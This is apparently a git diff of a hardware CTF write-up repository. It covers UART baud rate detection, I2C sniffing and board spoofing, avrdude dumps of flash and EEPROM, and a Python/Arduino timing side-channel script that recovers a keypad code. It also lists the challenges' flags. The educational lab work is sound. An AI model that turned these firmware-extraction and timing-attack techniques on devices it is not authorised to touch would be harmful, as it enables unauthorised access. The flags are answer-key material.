+++ b/docs/09_GoB.png
Binary files differ
diff --git a/docs/09_GoB_config.py b/docs/09_GoB_config.py
new file mode 100644
index 0000000..94c453d
--- /dev/null
+++ b/docs/09_GoB_config.py
@@ -0,0 +1,155 @@
+######
+# LEAVE THESE IMPORTS!
+######
+from arduinIO import ArduinoController
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+
+######
+# arduinIO values
+######
+ARDIO_PORT = "/dev/ttyACM2"
+ARDIO_BAUDRATE = 115200
+ARDIO_INPUT_PIN = 2
+ARDIO_OUTPUT_PINS = [8, 9, 10, 11] # ok, space, dot, dash
+ARDIO_PULSE_DURATION_MS = 300
+
+arduino = ArduinoController(port=ARDIO_PORT, baudrate=ARDIO_BAUDRATE)
+arduino.connect()
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['rdy', False, "", 'setup_buttons'],
+ ['ok', False, "", 'button_ok'],
+ ['dash', False, "", 'button_dash'],
+ ['spce', False, "", 'button_space'],
+ ['dot', False, "", 'button_dot'],
+ ['check', False, "", 'echo_trigger_state'],
+ ['run', False, "", 'find_code'],
+]
+
+######
+# Custom functions
+######
+def setup_buttons():
+ version = arduino.get_version()
+ functions.add_text(f"[INFO] Connected to Arduino: {version}")
+
+ # Configure pins
+ functions.add_text("[INFO] Configuring pin modes...")
+ arduino.set_mode(ARDIO_INPUT_PIN, "INPUT")
+ for pin in ARDIO_OUTPUT_PINS:
+ arduino.set_mode(pin, "OUTPUT")
+ arduino.set_default(pin, "LOW")
+
+ # Display current configuration
+ pinmap = arduino.get_pinmap()
+ functions.add_text(f"[INFO] Pin map: {pinmap}")
+
+
+def button_ok():
+ # Pulse one output pin
+ functions.add_text(f"[INFO] Pulsing output pin 8 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_dash():
+ functions.add_text(f"[INFO] Pulsing output pin 11 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(11, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_space():
+ functions.add_text(f"[INFO] Pulsing output pin 9 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(9, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_dot():
+ functions.add_text(f"[INFO] Pulsing output pin 10 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(10, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def echo_trigger_state():
+ state = arduino.get_state(ARDIO_INPUT_PIN)
+ functions.add_text(f"[INFO] Input pin {ARDIO_INPUT_PIN} is currently {state}")
+
+def find_code():
+ """
+ Discover a five-digit code by sending candidate pulses and measuring the
+ interval from sending OK (pin 8) until input goes HIGH using wait_for().
+
+ For each digit:
+ - Send one pulse for previously found digits.
+ - Send repeated pulses of the candidate digit to fill 5 pulses.
+ - Pulse OK (pin 8) to trigger the device.
+ - Measure duration using wait_for() for input HIGH.
+ - Select candidate with the longest LOW duration before HIGH.
+ """
+ candidate_pins = [9, 10, 11]
+ code_sequence = []
+ pin_to_symbol = {8: "OK", 9: "Space", 10: ".", 11: "-"}
+
+ button_ok()
+ functions.add_text("[INFO] Pulsing output pin 8 to reset device...")
+ arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+ functions.add_text("[INFO] Starting full code discovery sequence...")
+
+ for digit_index in range(5):
+ functions.add_text(f"[INFO] Finding digit {digit_index + 1}...")
+ results = {}
+
+ for test_pin in candidate_pins:
+ # Build sequence: previously found digits + candidate repeated
+ sequence = code_sequence.copy()
+ remaining_pulses = 5 - len(sequence)
+ sequence += [test_pin] * remaining_pulses
+ symbol_seq = [pin_to_symbol.get(pin, str(pin)) for pin in sequence]
+ functions.add_text(f"[TEST] Testing pin {test_pin} ({pin_to_symbol.get(test_pin)}), "
+ f"sequence: {' '.join(symbol_seq)} ...")
+
+ # Send sequence pulses (without timing)
+ for pin in sequence:
+ arduino.set_for(pin, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.1)
+
+ # Start timer and pulse OK (pin 8)
+ start_time = time.time()
+ arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS)
+
+ # Wait for input to go HIGH and measure duration
+ result = arduino.wait_for(ARDIO_INPUT_PIN, "HIGH")
+ end_time = time.time()
+
+ # Use the Arduino-provided LOW duration, fallback to timer if needed
+ duration = result.get("duration_ms", int((end_time - start_time) * 1000))
+ functions.add_text(f"[RESULT] Pin {test_pin} - LOW->HIGH {duration} ms.")
+
+ results[test_pin] = duration
+ time.sleep(0.3)
+
+ # Select candidate with longest duration (correct digit)
+ correct_pin = max(results, key=results.get)
+ functions.add_text(f"[INFO] Digit {digit_index + 1} identified (pin): {correct_pin}")
+ functions.add_text(f"[INFO] Digit {digit_index + 1} identified (symbol): "
+ f"{pin_to_symbol.get(correct_pin)}")
+ code_sequence.append(correct_pin)
+
+ translated_sequence = [pin_to_symbol.get(pin, str(pin)) for pin in code_sequence]
+ functions.add_text(f"[INFO] Full code sequence identified (pins): {code_sequence}")
+ functions.add_text(f"[INFO] Full code sequence identified (symbols): {translated_sequence}")
+
+ return code_sequence, translated_sequence
\ No newline at end of file
diff --git a/docs/09_arduino.ino b/docs/09_arduino.ino
new file mode 100644
index 0000000..9d7d09b
--- /dev/null
+++ b/docs/09_arduino.ino
@@ -0,0 +1,352 @@
+/*
+=====================================================================
+ARDUINO SERIAL PIN CONTROL AND MONITORING FIRMWARE
+=====================================================================
+Version: 1.3.0
+Author: [Your Name]
+Board Support: UNO, NANO, MEGA2560, LEONARDO (auto-detected)
+
+DESCRIPTION
+---------------------------------------------------------------------
+This firmware enables external control and monitoring of Arduino
+digital pins through a serial interface. It is designed for
+integration with Python or similar host software.
+
+The firmware supports dynamic pin-mode configuration, runtime
+output control, input monitoring, duration measurement, and pin-map
+query. All commands and responses use ASCII text terminated by '\n'.
+
+=====================================================================
+ASCII COMMAND REFERENCE
+=====================================================================
+
++----------------+--------------------------------+-------------------------------------+-------------------------------------------------------------+
+| COMMAND | EXAMPLE REQUEST | EXAMPLE RESPONSE | DESCRIPTION |
++----------------+--------------------------------+-------------------------------------+-------------------------------------------------------------+
+| GET_VERSION | GET_VERSION | VERSION:1.3.0 | Returns firmware version to confirm serial communication. |
+| | | | |
+| SET_MODE | SET_MODE:8:OUTPUT | ACK:SET_MODE:8:OUTPUT | Configures a pin as INPUT or OUTPUT dynamically. |
+| | SET_MODE:2:INPUT | ACK:SET_MODE:2:INPUT | |
+| | | | |
+| GET_PINMAP | GET_PINMAP | PINMAP:INPUT:2;OUTPUT:8,9,10,11 | Returns the current input and output pin assignments. |
+| | | | |
+| SET_DEFAULT | SET_DEFAULT:8:HIGH | ACK:SET_DEFAULT:8:HIGH | Sets an output pin to a default state until changed. |
+| | | | |
+| SET_FOR | SET_FOR:9:HIGH:500 | ACK:SET_FOR:9:HIGH:500 | Sets an output pin to a state for a duration (ms). |
+| | | | Automatically reverts afterwards. |
+| | | | |
+| WATCH | WATCH:2 | ACK:WATCH:2 | Begins monitoring an input pin. Reports state changes as: |
+| | | CHANGE:2:HIGH:1421 | - Pin number, new state, and duration since last change. |
+| | | | |
+| GET_STATE | GET_STATE:2 | STATE:2:LOW | Returns current digital state of a specified pin. |
+| | | | |
+| GET_DURATION | GET_DURATION:2 | DURATION:2:1431 | Returns elapsed time since the pin’s last state change. |
+| | | | |
+| WAIT_FOR | WAIT_FOR:2:HIGH | WAIT_RESULT:2:HIGH:1432 | Waits until a pin reaches target state; returns duration. |
+| | | | |
+| ERROR HANDLING | UNKNOWN COMMAND | ERROR:UNKNOWN_COMMAND | Returned if a command is unrecognised or malformed. |
++----------------+--------------------------------+-------------------------------------+-------------------------------------------------------------+
+
+=====================================================================
+OPERATIONAL NOTES
+---------------------------------------------------------------------
+- Baud rate: 115200
+- Line termination: newline ('\n')
+- States are HIGH or LOW
+- Durations in milliseconds
+- All commands and responses are ASCII
+
+=====================================================================
+*/
+
+#include
+
+// ------------------------------------------------------------------
+// Board-specific pin range detection
+// ------------------------------------------------------------------
+#if defined(ARDUINO_AVR_UNO) || defined(ARDUINO_AVR_NANO)
+ const int FIRST_PIN = 2;
+ const int LAST_PIN = 13;
+#elif defined(ARDUINO_AVR_MEGA2560)
+ const int FIRST_PIN = 2;
+ const int LAST_PIN = 53;
+#elif defined(ARDUINO_AVR_LEONARDO)
+ const int FIRST_PIN = 2;
+ const int LAST_PIN = 13;
+#else
+ const int FIRST_PIN = 2;
+ const int LAST_PIN = 13;
+#endif
+
+const int NUM_PINS = LAST_PIN - FIRST_PIN + 1;
+
+// ------------------------------------------------------------------
+// Dynamic role and state tracking
+// ------------------------------------------------------------------
+bool isInput[NUM_PINS];
+bool isOutput[NUM_PINS];
+bool watching[NUM_PINS];
+unsigned long lastChangeTime[NUM_PINS];
+int lastState[NUM_PINS];
+
+// ------------------------------------------------------------------
+// Setup
+// ------------------------------------------------------------------
+void setup() {
+ Serial.begin(115200);
+
+ // Default: all usable pins configured as OUTPUT and LOW
+ for (int i = 0; i < NUM_PINS; i++) {
+ int pin = FIRST_PIN + i;
+ pinMode(pin, OUTPUT);
+ digitalWrite(pin, LOW);
+ isInput[i] = false;
+ isOutput[i] = true;
+ watching[i] = false;
+ lastState[i] = LOW;
+ lastChangeTime[i] = millis();
+ }
+
+ Serial.println("READY");
+}
+
+// ------------------------------------------------------------------
+// Main loop
+// ------------------------------------------------------------------
+void loop() {
+ handleSerial();
+ monitorWatchedPins();
+}
+
+// ------------------------------------------------------------------
+// Serial command processing
+// ------------------------------------------------------------------
+void handleSerial() {
+ static String inputString = "";
+ while (Serial.available()) {
+ char c = Serial.read();
+ if (c == '\n') {
+ inputString.trim();
+ processCommand(inputString);
+ inputString = "";
+ } else {
+ inputString += c;
+ }
+ }
+}
+
+// ------------------------------------------------------------------
+// Command dispatcher
+// ------------------------------------------------------------------
+void processCommand(String cmd) {
+ if (cmd == "GET_VERSION") {
+ Serial.println("VERSION:1.3.0");
+ } else if (cmd == "GET_PINMAP") {
+ handleGetPinmap();
+ } else if (cmd.startsWith("SET_MODE")) {
+ handleSetMode(cmd);
+ } else if (cmd.startsWith("SET_DEFAULT")) {
+ handleSetDefault(cmd);
+ } else if (cmd.startsWith("SET_FOR")) {
+ handleSetFor(cmd);
+ } else if (cmd.startsWith("WATCH")) {
+ handleWatch(cmd);
+ } else if (cmd.startsWith("GET_STATE")) {
+ handleGetState(cmd);
+ } else if (cmd.startsWith("GET_DURATION")) {
+ handleGetDuration(cmd);
+ } else if (cmd.startsWith("WAIT_FOR")) {
+ handleWaitFor(cmd);
+ } else {
+ Serial.println("ERROR:UNKNOWN_COMMAND");
+ }
+}
+
+// ------------------------------------------------------------------
+// Command handlers
+// ------------------------------------------------------------------
+
+// --- SET_MODE:PIN:MODE ------------------------------------------------
+void handleSetMode(String cmd) {
+ int first = cmd.indexOf(':');
+ int second = cmd.indexOf(':', first + 1);
+ if (first == -1 || second == -1) return;
+
+ int pin = cmd.substring(first + 1, second).toInt();
+ String mode = cmd.substring(second + 1);
+
+ if (pin < FIRST_PIN || pin > LAST_PIN) {
+ Serial.println("ERROR:INVALID_PIN");
+ return;
+ }
+
+ int index = pin - FIRST_PIN;
+ if (mode == "INPUT") {
+ pinMode(pin, INPUT);
+ isInput[index] = true;
+ isOutput[index] = false;
+ } else if (mode == "OUTPUT") {
+ pinMode(pin, OUTPUT);
+ isInput[index] = false;
+ isOutput[index] = true;
+ } else {
+ Serial.println("ERROR:INVALID_MODE");
+ return;
+ }
+
+ Serial.print("ACK:SET_MODE:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.println(mode);
+}
+
+// --- GET_PINMAP -------------------------------------------------------
+void handleGetPinmap() {
+ String response = "PINMAP:INPUT:";
+ bool firstInput = true;
+ for (int i = 0; i < NUM_PINS; i++) {
+ if (isInput[i]) {
+ if (!firstInput) response += ",";
+ response += String(FIRST_PIN + i);
+ firstInput = false;
+ }
+ }
+ response += ";OUTPUT:";
+ bool firstOutput = true;
+ for (int i = 0; i < NUM_PINS; i++) {
+ if (isOutput[i]) {
+ if (!firstOutput) response += ",";
+ response += String(FIRST_PIN + i);
+ firstOutput = false;
+ }
+ }
+ Serial.println(response);
+}
+
+// --- SET_DEFAULT:PIN:STATE --------------------------------------------
+void handleSetDefault(String cmd) {
+ int first = cmd.indexOf(':');
+ int second = cmd.indexOf(':', first + 1);
+ if (first == -1 || second == -1) return;
+
+ int pin = cmd.substring(first + 1, second).toInt();
+ String stateStr = cmd.substring(second + 1);
+ bool state = (stateStr == "HIGH");
+
+ digitalWrite(pin, state ? HIGH : LOW);
+ Serial.print("ACK:SET_DEFAULT:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.println(state ? "HIGH" : "LOW");
+}
+
+// --- SET_FOR:PIN:STATE:DURATION ---------------------------------------
+void handleSetFor(String cmd) {
+ int first = cmd.indexOf(':');
+ int second = cmd.indexOf(':', first + 1);
+ int third = cmd.indexOf(':', second + 1);
+ if (first == -1 || second == -1 || third == -1) return;
+
+ int pin = cmd.substring(first + 1, second).toInt();
+ String stateStr = cmd.substring(second + 1, third);
+ unsigned long duration = cmd.substring(third + 1).toInt();
+ bool state = (stateStr == "HIGH");
+
+ digitalWrite(pin, state ? HIGH : LOW);
+ delay(duration);
+ digitalWrite(pin, state ? LOW : HIGH);
+
+ Serial.print("ACK:SET_FOR:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.print(state ? "HIGH" : "LOW");
+ Serial.print(":");
+ Serial.println(duration);
+}
+
+// --- WATCH:PIN ---------------------------------------------------------
+void handleWatch(String cmd) {
+ int first = cmd.indexOf(':');
+ if (first == -1) return;
+
+ int pin = cmd.substring(first + 1).toInt();
+ int index = pin - FIRST_PIN;
+ if (index < 0 || index >= NUM_PINS || !isInput[index]) {
+ Serial.println("ERROR:INVALID_PIN");
+ return;
+ }
+ watching[index] = true;
+ Serial.print("ACK:WATCH:");
+ Serial.println(pin);
+}
+
+// --- GET_STATE:PIN -----------------------------------------------------
+void handleGetState(String cmd) {
+ int first = cmd.indexOf(':');
+ if (first == -1) return;
+ int pin = cmd.substring(first + 1).toInt();
+ int state = digitalRead(pin);
+ Serial.print("STATE:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.println(state == HIGH ? "HIGH" : "LOW");
+}
+
+// --- GET_DURATION:PIN --------------------------------------------------
+void handleGetDuration(String cmd) {
+ int first = cmd.indexOf(':');
+ if (first == -1) return;
+ int pin = cmd.substring(first + 1).toInt();
+ int index = pin - FIRST_PIN;
+ if (index < 0 || index >= NUM_PINS) return;
+ unsigned long duration = millis() - lastChangeTime[index];
+ Serial.print("DURATION:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.println(duration);
+}
+
+// --- WAIT_FOR:PIN:STATE ------------------------------------------------
+void handleWaitFor(String cmd) {
+ int first = cmd.indexOf(':');
+ int second = cmd.indexOf(':', first + 1);
+ if (first == -1 || second == -1) return;
+ int pin = cmd.substring(first + 1, second).toInt();
+ String targetStateStr = cmd.substring(second + 1);
+ bool targetState = (targetStateStr == "HIGH");
+ unsigned long startTime = millis();
+ while (digitalRead(pin) != targetState) {
+ delay(1);
+ }
+ unsigned long duration = millis() - startTime;
+ Serial.print("WAIT_RESULT:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.print(targetState ? "HIGH" : "LOW");
+ Serial.print(":");
+ Serial.println(duration);
+}
+
+// ------------------------------------------------------------------
+// Watch monitoring
+// ------------------------------------------------------------------
+void monitorWatchedPins() {
+ for (int i = 0; i < NUM_PINS; i++) {
+ if (watching[i] && isInput[i]) {
+ int pin = FIRST_PIN + i;
+ int currentState = digitalRead(pin);
+ if (currentState != lastState[i]) {
+ unsigned long now = millis();
+ unsigned long duration = now - lastChangeTime[i];
+ lastChangeTime[i] = now;
+ lastState[i] = currentState;
+ Serial.print("CHANGE:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.print(currentState == HIGH ? "HIGH" : "LOW");
+ Serial.print(":");
+ Serial.println(duration);
+ }
+ }
+ }
+}
diff --git a/docs/09_header_pins.png b/docs/09_header_pins.png
new file mode 100644
index 0000000..6b970b5
--- /dev/null
+++ b/docs/09_header_pins.png
Binary files differ
diff --git a/docs/09_logic_01.png b/docs/09_logic_01.png
new file mode 100644
index 0000000..ee2983b
--- /dev/null
+++ b/docs/09_logic_01.png
Binary files differ
diff --git a/docs/09_logic_02.png b/docs/09_logic_02.png
new file mode 100644
index 0000000..ea925d4
--- /dev/null
+++ b/docs/09_logic_02.png
Binary files differ
diff --git a/docs/09_logic_03.png b/docs/09_logic_03.png
new file mode 100644
index 0000000..4270c11
--- /dev/null
+++ b/docs/09_logic_03.png
Binary files differ
diff --git a/01.md b/01.md
new file mode 100644
index 0000000..bee686a
--- /dev/null
+++ b/01.md
@@ -0,0 +1,23 @@
+# **Challenge 1: "Serial Snitch"**
+
+As a skilled hardware hacker, you've intercepted a mysterious device recovered from a rogue tech syndicate. The device, dubbed **"Specter-1"**, controls access to a secret underground server, but its interface remains locked behind an unknown UART configuration.
+
+Your mission is clear:
+
+1. **Identify the UART pins** you've uncovered during your investigation.
+2. **Determine the correct baud rate** to establish a stable connection.
+3. **Access the device’s command interface** and unlock control over the system’s lighting grid.
+
+## Setup
+
+
+
+## Notes
+
+The baudrate was a standard one, simply connecting the right wires and using the correct baudrate I was able to gain access (and the flag)
+
+Of course I made a glitch-o-bolt config for this: [01_GoB_config.py](docs/01_GoB_config.py)
+
+It looks as follows:
+
+
\ No newline at end of file
diff --git a/02.md b/02.md
new file mode 100644
index 0000000..4a2fa20
--- /dev/null
+++ b/02.md
@@ -0,0 +1,46 @@
+# **Challenge 2: "Echo Chamber"**
+
+Following the success of your first infiltration, you've intercepted another device from the same syndicate. This one seems almost identical — same pinout, same behavior — but something’s off. Your usual tools can’t make sense of the UART output. It looks like the engineers behind this one were clever enough to **obfuscate communication by using a non-standard baud rate**.
+
+The challenge is a test of patience and precision. You'll need to **analyze the signal itself** to get in.
+
+**Your mission is clear:**
+
+1. **Identify the UART pins** using your probing tools.
+2. **Determine the correct (non-standard) baud rate** via signal analysis.
+3. **Establish a reliable terminal connection** and extract the flag from the interface.
+
+## Setup
+
+
+
+## Notes
+
+I started by running logic to capture the transmissions with the logic analyser
+
+
+
+Some simple math to determine the baud rate from the pulse width: (or ask chatGPT like I did)
+
+Baud rate calculation
+
+**Given:** Bit duration = 32 microseconds = 32 × 10⁻⁶ seconds
+
+**Formula:** Baud rate = 1 / bit duration
+
+**Calculation:** Baud rate = 1 / (32 × 10⁻⁶)\
+Baud rate = 31,250 baud
+
+**Answer:** 31,250 baud
+
+Whip up a quick glitch-o-bolt config: [02_GoB_config.py](docs/02_GoB_config.py)
+
+This results in:
+
+
+
+This could also be checked direcectly in logic:
+
+
+
+(Reading source I know the baud rate is supposed to be 31337)
\ No newline at end of file
diff --git a/03.md b/03.md
new file mode 100644
index 0000000..96d14fd
--- /dev/null
+++ b/03.md
@@ -0,0 +1,25 @@
+# **Challenge 3: "Bus Whisperer"**
+
+Deep inside an abandoned research lab, you’ve discovered a prototype security device. It appears to be communicating with hidden components over an **I2C bus**. The traffic is silent to the untrained eye, but with the right tools, you can eavesdrop on the device's conversations and uncover what it's hiding.
+
+**Your mission is clear:**
+
+1. **Identify the I2C communication lines** used by the device.
+2. **Identify all connected I2C devices** the system is interacting with.
+3. **Retrieve** the hidden message embedded in the communication.
+
+## Setup
+
+
+
+## Notes
+
+Fairly simple. wire up the logic analyser, capture and decode:
+
+
+
+That decodes to:
+
+```
+TS{(h@||eng3_07P_i5_1951556615}
+```
\ No newline at end of file
diff --git a/04.md b/04.md
new file mode 100644
index 0000000..05e1bbd
--- /dev/null
+++ b/04.md
@@ -0,0 +1,33 @@
+# **Challenge 4: "Invisible Wires"**
+
+You’ve infiltrated a secure facility to extract a prototype device believed to hold critical secrets. After ripping the main board from its casing and making your escape, a sudden realization hits (**you left a secondary board behind**), still wired in and powered.
+
+Unexpectedly, the stolen board is trying to communicate with its twin over **I2C**, as if expecting a response. It’s time to turn the tables: tap into the bus, reverse the dialogue, and extract what it’s trying to say.
+
+**Your mission is clear:**
+
+1. **Identify the I2C lines** used for board-to-board communication.
+2. **Reverse engineer the protocol** or expected responses from the second board.
+3. **Emulate or spoof the missing board** to trigger a flag or secret message.
+
+## Setup
+
+
+
+## Notes
+
+Fire up the logic analyzer and see it's lookign for a device with a specific address:
+
+
+
+So I made a small arduino sketch to emulate this: [04_arduino.ino](docs/04_arduino.ino)
+
+The next time I checked the logic analyzer:
+
+
+
+This decodes to:
+
+```
+TS{1_N33D_/\/\y_8u66y}
+```
\ No newline at end of file
diff --git a/05.md b/05.md
new file mode 100644
index 0000000..9440047
--- /dev/null
+++ b/05.md
@@ -0,0 +1,181 @@
+# **Challenge 5: "Code Heist"**
+
+In a high-tech underground bunker, you've stumbled upon a **security keypad** linked to a classified device. The rumors suggest that entering a **hidden password** will unlock a **secret mode**, but there’s a catch—the password isn’t documented anywhere.
+
+However, your investigation reveals that the device’s firmware is stored in the internal **Flash memory**, and there’s a chance that the password is hardcoded within. If you can extract the firmware, you just might be able to pull off the ultimate **code heist**.
+
+**Your mission is clear:**
+
+1. **Dump the firmware** from the internal Flash memory using available debugging or ISP interfaces.
+2. **Analyze the firmware binary** to locate and recover the hardcoded password.
+3. **Use the password on the keypad** to unlock the device’s secret mode and retrieve the flag.
+
+## Setup
+
+
+
+## Notes
+
+I used a seperate arduino with the "Arduino as ISP" sketch loaded and pulled the chip from the PwnPad which was then put in to a second spare arduino. The following was used to confirm that the atmega328p could be read:
+
+```
+$> avrdude -v -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -n
+
+avrdude: Version 7.1
+ Copyright the AVRDUDE authors;
+ see https://github.com/avrdudes/avrdude/blob/main/AUTHORS
+
+ System wide configuration file is /etc/avrdude.conf
+ User configuration file is /root/.avrduderc
+ User configuration file does not exist or is not a regular file, skipping
+
+ Using Port : /dev/ttyACM0
+ Using Programmer : arduino
+ Overriding Baud Rate : 19200
+ AVR Part : ATmega328P
+ Chip Erase delay : 9000 us
+ PAGEL : PD7
+ BS2 : PC2
+ RESET disposition : possible i/o
+ RETRY pulse : SCK
+ Serial program mode : yes
+ Parallel program mode : yes
+ Timeout : 200
+ StabDelay : 100
+ CmdexeDelay : 25
+ SyncLoops : 32
+ PollIndex : 3
+ PollValue : 0x53
+ Memory Detail :
+
+ Block Poll Page Polled
+ Memory Type Alias Mode Delay Size Indx Paged Size Size #Pages MinW MaxW ReadBack
+ ----------- -------- ---- ----- ----- ---- ------ ------ ---- ------ ----- ----- ---------
+ eeprom 65 20 4 0 no 1024 4 0 3600 3600 0xff 0xff
+ flash 65 6 128 0 yes 32768 128 256 4500 4500 0xff 0xff
+ lfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ hfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ efuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ lock 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ signature 0 0 0 0 no 3 1 0 0 0 0x00 0x00
+ calibration 0 0 0 0 no 1 1 0 0 0 0x00 0x00
+
+ Programmer Type : Arduino
+ Description : Arduino for bootloader using STK500 v1 protocol
+ Hardware Version: 2
+ Firmware Version: 1.18
+ Topcard : Unknown
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+
+avrdude done. Thank you.
+```
+
+Then pull the firmware:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U flash:r:flash_dump.bin:r
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading flash memory ...
+
+Reading | ################################################## | 100% 20.92 s
+
+avrdude: writing output file flash_dump.bin
+
+avrdude done. Thank you.
+```
+
+Instead of loading the firmware in ghidra or another reversing tool I simply ran strings against it to find some low hanging fruit:
+
+```
+$> strings flash_dump.bin
+ h>s@
+/_?O/s3'
+IUZO
+E+F+G+i
+/_?Oy
+ h1P
+!P1 A Q V
+#+$+%+y
+G.Q,a,q,
+E.Q,a,q,
+C.Q,C
+d.q,N
+O.Q,a,q,
+&.1,s
+G.Q,
+n.q,N
+/_?OY
+(P1
+.P1
+'*0Q
+?OOO_O
+"P1 9
+N__O$
+N__O
+"P1
+Q,A,
+APP@
+SECRET MODE UNLOCKED: TS{F1rmw@re_S3cret}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
++=========== Welcome To The UART Challenge ===========+
+| You Successfully Identified The Baudrate |
+| You Can Now Control The LEDS |
+| TS{U@rt_15_@w3s0m3} |
++=====================================================+
+SELECT LED (1/2/3) >
+Error Wrong Id !
+SELECT STATUS (0/1) >
+Something Went Wrong!
+TS{N0w_Y0u_@r3_@n_el173_H@(k3r}
+TS{(h@||eng3_07P_i5_
+TS{1_N33D_/\/\y_8u66y}
+I will never tell you my secret !
+TS{Gl1th3s_@r3_Awe50m3_!}
+---------------------
+cnt:
+Hahaha, I changed my trigger go and find it
+TS{0h_n0_y0u_foun6_my_7r1gg3r}
+You will never enter my vault!
+TS{Y0u_3nter36_th3_v@ul7}
+You are no good enough
+TS{D@mn_y0u_@r3_g006}
+Welcome to my Login Interface!
+You managed to identify my UART baudrate, now please login.
+[+] Please Provide Your Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+d3@1bt7*0PqSxc9~^
+25315294
+355fu1_!}
+[-] Login FAILED
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+$N__O
+```
+
+Wow loads of flags! we know that we need to find the morese code as that can be input via UART:
+
+
+
+I wasnt convinced that was the intended way of doing it, so I also pulled the firmware using the headers on the board, that setup looked like:
+
+
\ No newline at end of file
diff --git a/06.md b/06.md
new file mode 100644
index 0000000..a55dd6c
--- /dev/null
+++ b/06.md
@@ -0,0 +1,76 @@
+# **Challenge 6: "Hard Leak"**
+
+You've managed to extract a mysterious device from a corporate blacksite. After digging into the firmware, you realize there's **nothing useful stored in Flash**, but there's one more place secrets like to hide: the **internal EEPROM**.
+
+**Your mission is clear:**
+
+1. **Identify how to access the internal EEPROM** of the device using ISP or other means.
+2. **Recover the hidden flag** from the leaked EEPROM data.
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous challenge. Pull the eeprom instead of the flash:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U eeprom:r:eeprom_dump.hex:i
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading eeprom memory ...
+
+Reading | ################################################## | 100% 4.14 s
+
+avrdude: writing output file eeprom_dump.hex
+
+avrdude done. Thank you.
+```
+
+Echo the file to reads it's contents:
+
+```
+$> cat eeprom_dump.hex
+:2000000054537B33335052304D5F69355F66756E5F217DFFFFFFFFFFFFFFFFFFFFFFFFFFA4
+:20002000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE0
+:20004000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC0
+:20006000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFA0
+:20008000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF80
+:2000A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF60
+:2000C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF40
+:2000E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF20
+:20010000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
+:20012000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDF
+:20014000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBF
+:20016000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9F
+:20018000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7F
+:2001A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5F
+:2001C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3F
